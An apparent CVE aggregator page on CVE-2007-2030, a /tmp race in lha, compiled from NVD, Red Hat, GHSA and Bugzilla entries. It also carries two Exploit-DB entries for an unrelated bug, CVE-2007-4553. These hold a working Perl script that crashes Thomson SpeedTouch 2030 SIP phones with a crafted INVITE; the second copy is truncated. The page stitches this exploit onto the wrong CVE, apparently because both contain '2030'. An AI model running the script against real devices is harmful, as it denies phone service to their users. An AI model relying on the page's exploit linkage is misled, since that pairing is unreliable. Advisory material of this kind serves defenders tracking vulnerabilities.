CVE-2007-2030
published 2007-04-16CVE-2007-2030: lharc.c in lha does not securely create temporary files, which might allow local users to read or write files by creating a file before LHA is invoked.
PriorityP412medium4.9CVSS 2.0
AVLACLAuNCCINAN
EPSS
0.36%
27.8th percentile
lharc.c in lha does not securely create temporary files, which might allow local users to read or write files by creating a file before LHA is invoked.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| redhat | enterprise_linux | — | — |
| redhat | enterprise_linux | — | — |
| redhat | enterprise_linux | — | — |
| redhat | fedora_core | — | — |
CVSS provenance
nvdv2.04.9MEDIUMAV:L/AC:L/Au:N/C:C/I:N/A:N
vendor_redhat4.9MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
/tmp race in lha
vendor_redhat·2006-01-13·CVSS 4.9
CVE-2007-2030 [MEDIUM] /tmp race in lha
/tmp race in lha
lharc.c in lha does not securely create temporary files, which might allow local users to read or write files by creating a file before LHA is invoked.
Statement: Red Hat no longer plans to fix this issue in Red Hat Enterprise Linux 4.
Package: lha (Red Hat Enterprise Linux 4) - Will not fix
GHSA
GHSA-cm49-6pc4-f8jg: lharc
ghsa_unreviewed·2022-05-01
CVE-2007-2030 [MEDIUM] GHSA-cm49-6pc4-f8jg: lharc
lharc.c in lha does not securely create temporary files, which might allow local users to read or write files by creating a file before LHA is invoked.
No detection rules found.
Exploit-DB
Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service
exploitdb·2007-08-27
CVE-2007-4553 Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service
Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service
---
#!/usr/bin/perl
#Vulneravility for Thomson 2030 firmware v1.52.1
#It provokes a DoS in the device.
use IO::Socket::INET;
die "Usage $0 " unless ($ARGV[2]);
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],
Proto=>'udp',
PeerAddr=>$ARGV[0]);
$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=00\r\nFrom: ;tag=00\r\nTo: ;tag=00\r\nCall-ID: humbol\@192.168.1.2\r\nCSeq: 1 INVITE\r\n\r\n";
$socket->send($msg);
# milw0rm.com [2007-08-27]
Exploit-DB
Thomson SpeedTouch ST 2030 (SIP Phone) - SIP Invite Message Remote Denial of Service
exploitdb·2007-08-27
CVE-2007-4553 Thomson SpeedTouch ST 2030 (SIP Phone) - SIP Invite Message Remote Denial of Service
Thomson SpeedTouch ST 2030 (SIP Phone) - SIP Invite Message Remote Denial of Service
---
source: https://www.securityfocus.com/bid/25446/info
Thomson SpeedTouch 2030 is prone to a denial-of-service vulnerability because the device fails to handle specially crafted SIP INVITE messages.
Exploiting this issue allows remote attackers to cause the device to stop responding, thus denying service to legitimate users.
This issue affects Thomas SpeedTouch 2030 firmware 1.52.1; other versions may also be affected.
!/usr/bin/perl
#Vulnerability for Thomson 2030 firmware v1.52.1
#It provokes a DoS in the device.
use IO::Socket::INET;
die "Usage $0 " unless ($ARGV[2]);
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],
Proto=>'udp',
PeerAddr=>$ARGV[0]);
$msg = "INVITE sip:$ARGV[2]\@
Bugzilla
CVE-2007-2030 /tmp race in lha
bugzilla·2007-04-16·CVSS 4.9
CVE-2007-2030 [MEDIUM] CVE-2007-2030 /tmp race in lha
CVE-2007-2030 /tmp race in lha
Description of problem:
lha doesn't open temporary files exclusively, which makes it possible for an
attacker to conduct a time-dependent attack by creating the file in advance.
Version-Release number of selected component (if applicable):
Affects: RHEL2.1
Affects: RHEL3
Affects: RHEL4
Affects: FC5
How reproducible:
Time-dependent race.
Additional info:
The patch also incorporates some trailing-NUL things from SUSE's
security review patch. I do not know why weren't they unlike some other
fixes from that patch integrated in our packages. It might be possible
that they are not needed. The patch is basically a polished diff between
SUSE and FC-5 lha.
Discussion:
Created attachment 152702
Patch for lha /tmp race & others, applies to FC5
---
Reporter c
Bugzilla
CVE-2007-2030 /tmp race in lha
bugzilla·2007-04-16·CVSS 4.9
CVE-2007-2030 [MEDIUM] CVE-2007-2030 /tmp race in lha
CVE-2007-2030 /tmp race in lha
+++ This bug was initially created as a clone of Bug #236585 +++
Description of problem:
lha doesn't open temporary files exclusively, which makes it possible for an
attacker to conduct a time-dependent attack by creating the file in advance.
Version-Release number of selected component (if applicable):
Affects: RHEL2.1
Affects: RHEL3
Affects: RHEL4
Affects: FC5
How reproducible:
Time-dependent race.
Additional info:
The patch also incorporates some trailing-NUL things from SUSE's
security review patch. I do not know why weren't they unlike some other
fixes from that patch integrated in our packages. It might be possible
that they are not needed. The patch is basically a polished diff between
SUSE and FC-5 lha.
-- Additional comment from lkundrak@re
http://osvdb.org/37049http://secunia.com/advisories/25519http://www.mandriva.com/security/advisories?name=MDKSA-2007:117http://www.securityfocus.com/bid/24336https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=236585https://exchange.xforce.ibmcloud.com/vulnerabilities/34063http://osvdb.org/37049http://secunia.com/advisories/25519http://www.mandriva.com/security/advisories?name=MDKSA-2007:117http://www.securityfocus.com/bid/24336https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=236585https://exchange.xforce.ibmcloud.com/vulnerabilities/34063
2007-04-16
Published